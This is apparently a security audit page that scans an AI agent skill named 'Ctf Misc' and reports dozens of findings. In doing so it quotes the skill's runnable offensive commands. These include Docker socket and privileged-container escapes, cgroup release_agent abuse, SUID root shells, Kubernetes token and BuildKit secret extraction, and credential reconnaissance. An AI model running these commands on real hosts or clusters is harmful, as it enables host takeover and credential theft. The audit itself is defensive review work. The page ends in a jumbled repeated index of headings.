Security audit

Ctf Misc

Security checks for vulnerabilities and agentic risk

Overview

This CTF reference skill is openly about challenge solving, but it includes runnable host-escape, privilege-escalation, and secret-extraction recipes that need human review before installation.

Install only if you intend to use it in authorized CTF or disposable lab environments. Do not let an agent apply these instructions to your own host, containers, Kubernetes clusters, internal networks, NFS shares, credentials, or third-party systems without explicit authorization and isolation.

A.I.G

Vulnerability Patterns

Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
System PersistenceInstalls backdoors, hooks, services, or scheduled tasks that survive the run
Insecure DependenciesIntroduces malicious components through unsafe dependency sources
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions

Findings (9)

T05 · Unauthorized Access and Privilege Escalation

Error

Location: games-and-vms-3.md:172
Finding: Executable Marshal Payload Exfiltrates Sensitive Server State over a Socket
Content: View full analysis
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: games-and-vms.md:264
Finding: Kubernetes Service Account Token Use Enables Cluster Secret Access and Node Escalation
Content: View full analysis
read node filesystem 4. Extract kubeconfig (e.g., `/etc/rancher/k3s/k3s.yaml`) 5. Use node credentials to access hidden namespaces and read secrets ``` ### Technical Analysis The instructions retrieve a live Kubernetes bearer token from the pod filesystem and transmit it to the Kubernetes API. They then describe impersonating another identity, creating a pod that mounts the node's root filesystem, extracting node credentials, and reading secrets from another namespace. This crosses multiple authorization boundaries: pod to service account, service account to deployer identity, namespace to cluster, and container to node filesystem. It materially exceeds the permissions needed for ordinary CTF encoding, game analysis, or constraint solving. The use of `curl -k` also disables TLS certificate validation, making bearer-token disclosure possible if DNS or network routing is compromised. ### Attack Path 1. Obtain command execution inside a Kubernetes pod. 2. Read the automatically mounted service account bearer token. 3. Test whether the token can impersonate or exercise excessive RBAC permissions. 4. Use pod-creation rights to request a `hostPath` mount of `/`. 5. Read the node filesystem and extract a kubeconfig or other cluster credentials ...[truncated 495 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: games-and-vms-3.md:443
Finding: Container Escape Instructions Mount the Host Root Filesystem
Content: View full analysis
/tmp/cgrp/x/notify_on_release host_path=$(sed -n 's/.*upperdir=$[^,]*$.*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd && echo 'cat /flag > /tmp/cgrp/x/flag' >> /cmd && chmod +x /cmd echo $$ > /tmp/cgrp/x/cgroup.procs ``` ### Technical Analysis These commands are complete container breakout procedures. They cover three independent escalation primitives: 1. Direct host-device mounting from a privileged container. 2. Docker socket abuse to create a new privileged container with `/` bind-mounted. 3. `CAP_SYS_ADMIN` and cgroup `release_agent` abuse for host command execution. The resulting shell is no longer constrained by the original container boundary. Because the Skill is allowed to use Bash, these examples could be executed against the agent's own environment if target scoping is ambiguous. ### Attack Path 1. Determine whether the container is privileged, has `CAP_SYS_ ...[truncated 784 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: games-and-vms-3.md:400
Finding: BuildKit Daemon Exploitation Exposes Build Secrets
Content: View full analysis
&1; false EOF ``` ```dockerfile FROM alpine RUN --mount=type=secret,id=flag cat /run/secrets/flag; false ``` ### Technical Analysis The first build submits a nested build to an unauthenticated BuildKit service on localhost. The nested Dockerfile requests a secret mount and prints the secret. The deliberate `false` command forces BuildKit to expose intermediate output through an error path. This is an active secret-extraction chain. It abuses the assumption that only trusted clients can reach the BuildKit daemon and that only authorized builds can request named secrets. ### Attack Path 1. Submit an attacker-controlled Dockerfile to a build service. 2. Use the build environment to connect to the BuildKit gRPC endpoint. 3. Submit a nested build request. 4. Request the target secret with `--mount=type=secret`. 5. Print the mounted secret during the build step. 6. Force build failure so the secret appears in captured build output. ### Impact Assessment The attack can disclose build-time secrets available to the daemon, including: - Package repository credentials. - Source-control tokens. - Signing keys. - Deployment credentials. - Cloud service credentials. - CI/CD secrets assigned to unrelated builds. Depending on the credentials recovered, compromise may extend beyond the build system. ]]>
Remediation: View remediation

T06 · System Persistence

Error

Location: linux-privesc.md:107
Finding: SUID Shell Creation Establishes Persistent Root Access
Content: View full analysis
> ~/server/bin/linux-x64/server-command # Trigger root execution via PaperCut admin API curl -c /tmp/cookies.txt "http://localhost:9191/app?service=page/SetupCompleted" curl -b /tmp/cookies.txt "http://localhost:9191/print-deploy/admin/api/mobilityServers/v2?refresh=true" # Execute SUID bash bash -p ``` ### Technical Analysis Both procedures cause a privileged process to create or modify a shell with the SUID bit. The resulting binary remains available after the original exploit and across later sessions until explicitly removed. This is not merely temporary command execution. It creates a durable root-execution mechanism and therefore qualifies as system persistence. The mode `4777` is especially dangerous because it creates a world-accessible SUID executable. ### Attack Path 1. Obtain access to PostgreSQL `COPY TO PROGRAM` or a script executed by a root-owned service. 2. Copy Bash or modify the root-executed script. 3. Set the SUID bit on the shell. 4. Allow the root cron job or service to create the root-owned SUID executable. 5. Invoke the shell with `-p`. 6. Retain effective root privileges in later sessions. ### Impact Assessment The persistence mechanism can provide ongoing root-level command execution to local users. Consequences include: - Full host compromise. - Modification or deletion of syst ...[truncated 176 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: linux-privesc.md:23
Finding: Sudoers File Injection Grants Unrestricted Root Privileges
Content: View full analysis
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: bashjails.md:99
Finding: System-Wide Reconnaissance Targets Process Data, SSH Keys, and Credentials
Content: View full analysis
/dev/null | tr '\0' ' ' # Look specifically for flag-serving processes for pid in /proc/[0-9]*/; do cmd=$(cat ${pid}cmdline 2>/dev/null | tr '\0' ' ') if echo "$cmd" | grep -qi flag; then echo "PID $(basename $pid): $cmd" cat ${pid}status 2>/dev/null | grep -E "^(Uid|Name):" fi done ``` Additional sensitive-data collection is recommended in `linux-privesc.md:173-185`: ```bash showmount -e TARGET mount -t nfs TARGET:/var/backups /mnt/backups mount -t nfs TARGET:/home /mnt/home # Check for: database backups, SSH keys, config files with credentials ``` The container guidance also recommends inspecting `/proc/1/environ` at `games-and-vms-3.md:494-498`. ### Technical Analysis After obtaining a shell, the Skill directs the agent to enumerate all process command lines, process identities, NFS home directories, backup files, SSH keys, configuration credentials, and process environment variables. These resources may belong to unrelated users or services. The procedure is broader than the minimum access needed for most declared challenge categories and can expose credentials that support lateral movement or escalation. ### Attack Path 1. Escape a restricted shell or obtain local command execution. 2. Enumerate `/proc` for process command lines, identities, and environment data. 3. Discover internal services or secrets supplied through command-line arguments. 4. Enumerate and mount NFS exports. 5. Search home directories and backups for SSH keys and credentials. 6. Reuse recovered information to access higher-privileged accounts or internal systems. ### Impact Assessment Potentially exposed information includes: - Service credentials and API tokens. ...[truncated 286 chars]
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: dns.md:78
Finding: DNS Rebinding and Internal Network Enumeration Bypass Network Access Controls
Content: View full analysis
Remediation: View remediation

T08 · Insecure Dependencies

Warning

Location: SKILL.md:17
Finding: Unpinned Dependencies and External Decoder Uploads Create Supply-Chain and Disclosure Risk
Content: View full analysis
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
YARA SignaturesMalware Match, Webshell Match, Cryptominer Match

Findings (70)

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 38)May include surrounding context.
md
- [bashjails.md](bashjails.md) - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose mode, ctypes.sh direct C library calls

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 465)May include surrounding context.
md
- [bashjails.md](bashjails.md) - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose mode, ctypes.sh direct C library calls

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High

Category: YARA Match
Confidence: 80% confidence
Finding: YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
Content: Scanner excerpt · SKILL.md (reported line 188)May include surrounding context.
details (IQ formats, QAM-16 demod, carrier/timing recovery).

Quick reference:

cf32: np.fromfile(path, dtype=np.complex64) | cs16: int16 reshape(-1,2) | cu8: RTL-SDR raw

Circles in constellation = constant frequency offset; Spirals = drifting frequency + gain instability

4-fold ambiguity in DD carrier recovery - try 0/90/180/270 rotation

pwntools Interaction

python
from pwn import * r = remote('host', port) r.recvuntil(b'prompt: ') r.sendline(b'answer') r.interactive()

Python Jail Quick Reference

Oracle pattern: L() = length, Q(i,x) = compare, S(guess) = submit. Linear or binary search.

Walrus bypass: (abcdef := "new_chars") reassigns constraint vars

Decorator bypass: @__import__ + @func.__class__.__dict__[__name__.__name__].__get__ for no-call, no-quotes escape

String join: open(''.join(['fl','ag.txt'])).read() when + is blocked

See pyjails.md for full techniques.

Z3 / Constraint Solvi

Context-Inappropriate Capability

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: Container escape and host-root breakout guidance is not necessary for a broad 'miscellaneous CTF techniques' skill and provides direct instructions for escaping isolation boundaries. In an agent environment with filesystem and shell access, this materially increases the likelihood of real host compromise if the skill is invoked inappropriately.
Content: No source excerpt is available for this finding.

Description-Behavior Mismatch

High

Category: Not specified by scanner
Confidence: 97% confidence
Finding: This section explicitly documents Linux privilege-escalation, host breakout, SUID abuse, sudo injection, PostgreSQL COPY TO PROGRAM RCE, and Docker-root compromise while the skill presents itself as a generic CTF reference. Hidden or under-disclosed offensive scope is dangerous because it increases the chance an agent will use the material in environments where such actions are unauthorized and harmful.
Content: No source excerpt is available for this finding.

YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]

High

Category: YARA Match
Confidence: 96% confidence
Finding: The find / -perm -4000 example is a classic privilege-escalation enumeration step used to locate SUID binaries for abuse. In context, it is not merely educational metadata; it is embedded in a section explicitly teaching SUID exploitation and host privesc.
Content: Scanner excerpt · SKILL.md (reported line 278)May include surrounding context.
r for moves with extrusion (head moving while printing)

5. Plot as 2D scatter/histogram -> letters appear

text
## Discord API Enumeration (0xFun 2026) Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke `/ctf-osint` for Discord API enumeration technique and code (see social-media.md in ctf-osint). --- ## SUID Binary Exploitation (0xFun 2026) ```bash # Find SUID binaries find / -perm -4000 2>/dev/null # Cross-reference with GTFObins # xxd with SUID: xxd flag.txt | xxd -r # vim with SUID: vim -c ':!cat /flag.txt'

Reference: https://gtfobins.github.io/

Linux Privilege Escalation Quick Checks

bash
# GECOS field passwords cat /etc/passwd # Check 5th colon-separated field # ACL permissions getfacl /path/to/restricted/file # Sudo permissions sudo -l # Docker group membership (instant root) id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

Docker Group Privilege Escalation (H7CTF 2025)

User in the `doc

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · SKILL.md (reported line 293)May include surrounding context.
bash
# GECOS field passwords cat /etc/passwd # Check 5th colon-separated field # ACL permissions getfacl /path/to/restricted/file

Privileged Container / Container Escape

High

Category: Privilege Escalation
Confidence: 99% confidence
Finding: The command docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh mounts the host root filesystem into a container and then chroots into it, providing effective host-root access to anyone with Docker privileges. In a filesystem-capable agent context, this is a direct host breakout instruction.
Content: Scanner excerpt · SKILL.md (reported line 302)May include surrounding context.
sudo -l

Docker group membership (instant root)

id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

text
## Docker Group Privilege Escalation (H7CTF 2025)

Context-Inappropriate Capability

High

Category: Not specified by scanner
Confidence: 99% confidence
Finding: This section gives step-by-step guidance for converting Docker group membership into host-root access by mounting / and chrooting into the host. That is a direct privilege-escalation recipe and is unjustified by the declared purpose of a miscellaneous challenge reference.
Content: No source excerpt is available for this finding.

Privileged Container / Container Escape

High

Category: Privilege Escalation
Confidence: 99% confidence
Finding: This is the same breakout pattern repeated as a worked privilege-escalation example. It directly instructs how to compromise the host from Docker group membership by bind-mounting / and entering the mounted root filesystem.
Content: Scanner excerpt · SKILL.md (reported line 314)May include surrounding context.
md
id # Look for "docker" in groups # Mount host root filesystem and chroot docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh # Now running as root on the host filesystem cat /root/flag.txt

Docker Socket Access

High

Category: Privilege Escalation
Confidence: 99% confidence
Finding: The skill explicitly states that access to /var/run/docker.sock enables creation of privileged containers that mount the host filesystem. In an agent or developer environment, exposing or encouraging use of the Docker socket effectively grants root-equivalent control over the host.
Content: Scanner excerpt · SKILL.md (reported line 320)May include surrounding context.
cat /root/flag.txt

text
**Key insight:** Docker group membership is equivalent to root access. The `docker` CLI socket (`/var/run/docker.sock`) allows creating privileged containers that mount the entire host filesystem. **Reference:** https://gtfobins.github.io/gtfobins/docker/

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High

Category: YARA Match
Confidence: 91% confidence
Finding: The pwntools-based script automates character-set probing against a remote service to map filter behavior and support payload development for jail escape. While not harmful by itself, it is an exploit-development helper that lowers the effort needed to enumerate and attack command-processing services.
Content: Scanner excerpt · bashjails.md (reported line 28)May include surrounding context.
-shell-file-reads-bctf-2016)

References

Identifying the Jail

Methodology: Send test inputs and observe error messages to determine:

What characters are allowed (whitelist vs blacklist)

Whether input is eval'd, passed to bash -c, or something else

Whether input is wrapped in quotes (double-quoted eval context)

Test for character filtering:

python
from pwn import * import time # Send each char combined with a known-good payload for c in range(32, 127): r = remote(host, port, level='error') r.sendline(b'$#' + bytes([c]) + b'$#') time.sleep(0.3) try: data = r.recv(timeout=1) if data: print(f'{chr(c)!r}: {data.decode().strip()[:60]}') except: pass r.close()

Silent rejection = character not allowed. Error output = character passed the filter.

Key insight: Systematically probe each printable character to map the allowed set before crafting payloads. Silent rejection m

Missing User Warnings

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: This skill contains explicit, operational guidance for escaping restricted shells, discovering internal services, reading protected files, and performing post-compromise privilege-escalation checks. Even in a CTF context, the content is directly transferable to real systems and lacks limiting language, guardrails, or framing that would reduce misuse, so publishing it as an agent skill meaningfully increases offensive capability.
Content: No source excerpt is available for this finding.

YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]

High

Category: YARA Match
Confidence: 95% confidence
Finding: The privilege-escalation checklist includes concrete reconnaissance commands for identifying SUID binaries, capabilities, process metadata, and container context after obtaining shell access. These are standard post-exploitation steps that materially help an attacker pivot from initial access to higher privileges or protected data discovery on non-CTF targets.
Content: Scanner excerpt · bashjails.md (reported line 165)May include surrounding context.
md
h` | | interactive | `bash` or `-bash` | | sh | `sh` | **Key insight:** Build arbitrary strings from minimal character sets by combining `$#` (yields 0), `${##}` (yields 1), `$$` (PID digits), and ANSI-C quoting (`$'\NNN'` for octal). Even a 3-character alphabet (`#$\`) is sufficient to spawn a shell via `$0` expansion. --- ## Privilege Escalation Checklist (Post-Shell) 1. **SUID binaries:** `find / -perm -4000 2>/dev/null` 2. **Capabilities:** `find / -executable -type f -exec getcap {} \; 2>/dev/null` 3. **Internal services:** Check `/proc/*/cmdline` for flag-serving daemons 4. **Process UIDs:** `cat /proc/*/status 2>/dev/null | grep -A5 "^Name:.*flag"` 5. **Writable paths:** Check if PATH contains writable dirs 6. **Docker/container:** `/dev/tcp` for internal service access, `/.dockerenv` presence **Key insight:** After escaping the jail, run through this checklist in order: SUID binaries and capabilities first (quickest wins), then internal services via `/proc/*/cmdline`, then

Direct Prompt Extraction

High

Category: System Prompt Leakage
Confidence: 91% confidence
Finding: The section describes exploiting emulator state preservation to display secret memory by mixing ROMs, which is a form of sensitive data extraction. In context it is a CTF pattern, but it still teaches a reusable exploitation method for state confusion and unintended memory disclosure.
Content: Scanner excerpt · games-and-vms-3.md (reported line 133)May include surrounding context.

Note the current PC value

/load ROM_B (PC, registers, RAM all preserved)

ROM_B has a "display memory" instruction at the current PC

Step → executes ROM_B's display instruction, showing ROM_A's secret data

text
**Practical example:**

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High

Category: YARA Match
Confidence: 94% confidence
Finding: The inclusion of pwntools-backed exploit automation and remote interaction code makes the section more operational and easier to weaponize. While common in CTF education, it materially lowers the barrier to exploit emulator/debug-interface vulnerabilities and extract secrets.
Content: Scanner excerpt · games-and-vms-3.md (reported line 138)May include surrounding context.
ret)

Exploit workflow:

text
1. Load ROM_A (contains INIT that loads secret into RAM) 2. Step through ROM_A until secret data is in RAM 3. Note the current PC value 4. /load ROM_B (PC, registers, RAM all preserved) 5. ROM_B has a "display memory" instruction at the current PC 6. Step → executes ROM_B's display instruction, showing ROM_A's secret data

Practical example:

python
from pwn import * p = remote('target', port) # Load first ROM that initializes secret data p.sendlineafter('> ', '/load rom_init.bin') # Step until secret is in memory (determined by analysis) for _ in range(42): p.sendlineafter('> ', '/step') # Switch to ROM that displays memory at current PC p.sendlineafter('> ', '/load rom_display.bin') p.sendlineafter('> ', '/step') # Read the leaked secret flag = p.recvline().strip() print(f"Flag: {flag}")

When to recognize:

Emulator/debugger challenge with /load, /step, /run, /dump commands

Multiple ROM files provided

One R

Direct Prompt Extraction

High

Category: System Prompt Leakage
Confidence: 85% confidence
Finding: Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
Content: Scanner excerpt · SKILL.md (reported line 249)May include surrounding context.
md
**Key lessons:** - Emulator debug interfaces that don't reset CPU state on ROM load create a state-mixing vulnerability - Combine instructions from different programs by loading them at the right PC values - Protected memory (read-only in one ROM's context) becomes accessible via another ROM's display instructions **References:** BSidesSF 2026 "wromwarp"

Direct Prompt Extraction

High

Category: System Prompt Leakage
Confidence: 85% confidence
Finding: Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
Content: Scanner excerpt · games-and-vms-3.md (reported line 166)May include surrounding context.
md
**Key lessons:** - Emulator debug interfaces that don't reset CPU state on ROM load create a state-mixing vulnerability - Combine instructions from different programs by loading them at the right PC values - Protected memory (read-only in one ROM's context) becomes accessible via another ROM's display instructions **References:** BSidesSF 2026 "wromwarp"

Privileged Container / Container Escape

High

Category: Privilege Escalation
Confidence: 97% confidence
Finding: The content states that privileged containers can break out to the host and then provides exploitation guidance. This is dangerous because --privileged largely disables container isolation and the section teaches how to convert that into host access.
Content: Scanner excerpt · games-and-vms-3.md (reported line 447)May include surrounding context.
Privileged Container Breakout

Containers started with --privileged have all Linux capabilities and access to host devices. Mount the host filesystem and chroot:

bash
# List host disks

Privileged Container / Container Escape

High

Category: Privilege Escalation
Confidence: 98% confidence
Finding: The nsenter example provides a concrete method to join host namespaces and obtain a shell, which is effectively immediate host escape if prerequisites are met. This is highly transferable beyond CTFs to real container breakout scenarios.
Content: Scanner excerpt · games-and-vms-3.md (reported line 456)May include surrounding context.
mkdir /mnt/host && mount /dev/sda1 /mnt/host

Chroot to host

chroot /mnt/host /bin/bash

Or via nsenter (requires PID 1 on host)

nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

text

Privileged Container / Container Escape

High

Category: Privilege Escalation
Confidence: 90% confidence
Finding: Potential security issue detected. Manual review is recommended.
Content: Scanner excerpt · games-and-vms-3.md (reported line 457)May include surrounding context.
Chroot to host

chroot /mnt/host /bin/bash

Or via nsenter (requires PID 1 on host)

nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

text
### Docker Socket Escape

Docker Socket Access

High

Category: Privilege Escalation
Confidence: 99% confidence
Finding: The section normalizes docker.sock access as an escape path; possession of /var/run/docker.sock typically grants full control over the Docker daemon and therefore the host. In a CTF skill this is contextually relevant, but it is still dangerous because the advice transfers directly to real-world host takeover.
Content: Scanner excerpt · games-and-vms-3.md (reported line 462)May include surrounding context.
Docker Socket Escape

If /var/run/docker.sock is mounted inside the container, create a new privileged container that mounts the host root:

bash
# Check for socket

Docker Socket Access

High

Category: Privilege Escalation
Confidence: 99% confidence
Finding: This line instructs checking for the Docker socket specifically as a precursor to host escape. That reconnaissance materially assists exploitation because it identifies a direct control channel to the host daemon.
Content: Scanner excerpt · games-and-vms-3.md (reported line 466)May include surrounding context.
bash
# Check for socket ls -la /var/run/docker.sock # Escape: create privileged container with host root mounted docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash # Or via API if docker CLI unavailable:

Privileged Container / Container Escape

High

Category: Privilege Escalation
Confidence: 99% confidence
Finding: Binding the host root filesystem into a container and chrooting into it is a practical host escape technique when combined with Docker control. This is directly actionable offensive guidance for full host compromise.
Content: Scanner excerpt · games-and-vms-3.md (reported line 468)May include surrounding context.
md
# Check for socket ls -la /var/run/docker.sock # Escape: create privileged container with host root mounted docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash # Or via API if docker CLI unavailable: curl -s --unix-socket /var/run/docker.sock \ -X POST "http://localhost/containers/create" \

Docker Socket Access

High

Category: Privilege Escalation
Confidence: 99% confidence
Finding: Using curl over the Unix socket to create containers is a direct Docker daemon exploitation technique. With privileged mode and host bind mounts, an attacker can escape confinement and access or modify the host filesystem.
Content: Scanner excerpt · games-and-vms-3.md (reported line 470)May include surrounding context.
md
# Escape: create privileged container with host root mounted docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash # Or via API if docker CLI unavailable: curl -s --unix-socket /var/run/docker.sock \ -X POST "http://localhost/containers/create" \ -H "Content-Type: application/json" \ -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"],"Privileged":true}'

Static analysis

No suspicious patterns detected.

Overview

A.I.G

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T06 · System Persistence

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T08 · Insecure Dependencies

SkillSpector

Ae1

Ae1

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

pwntools Interaction

Python Jail Quick Reference

Z3 / Constraint Solvi

Context-Inappropriate Capability

Description-Behavior Mismatch

YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]

5. Plot as 2D scatter/histogram -> letters appear

Linux Privilege Escalation Quick Checks

Docker Group Privilege Escalation (H7CTF 2025)

Credential Access

Privileged Container / Container Escape

Docker group membership (instant root)

Context-Inappropriate Capability

Privileged Container / Container Escape

Docker Socket Access

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

Identifying the Jail

Missing User Warnings

YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]

Direct Prompt Extraction

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

Direct Prompt Extraction

Direct Prompt Extraction

Privileged Container / Container Escape

Privileged Container Breakout

Privileged Container / Container Escape

Chroot to host

Or via nsenter (requires PID 1 on host)

Privileged Container / Container Escape

Chroot to host

Or via nsenter (requires PID 1 on host)

Docker Socket Access

Docker Socket Escape

Docker Socket Access

Privileged Container / Container Escape

Docker Socket Access

Static analysis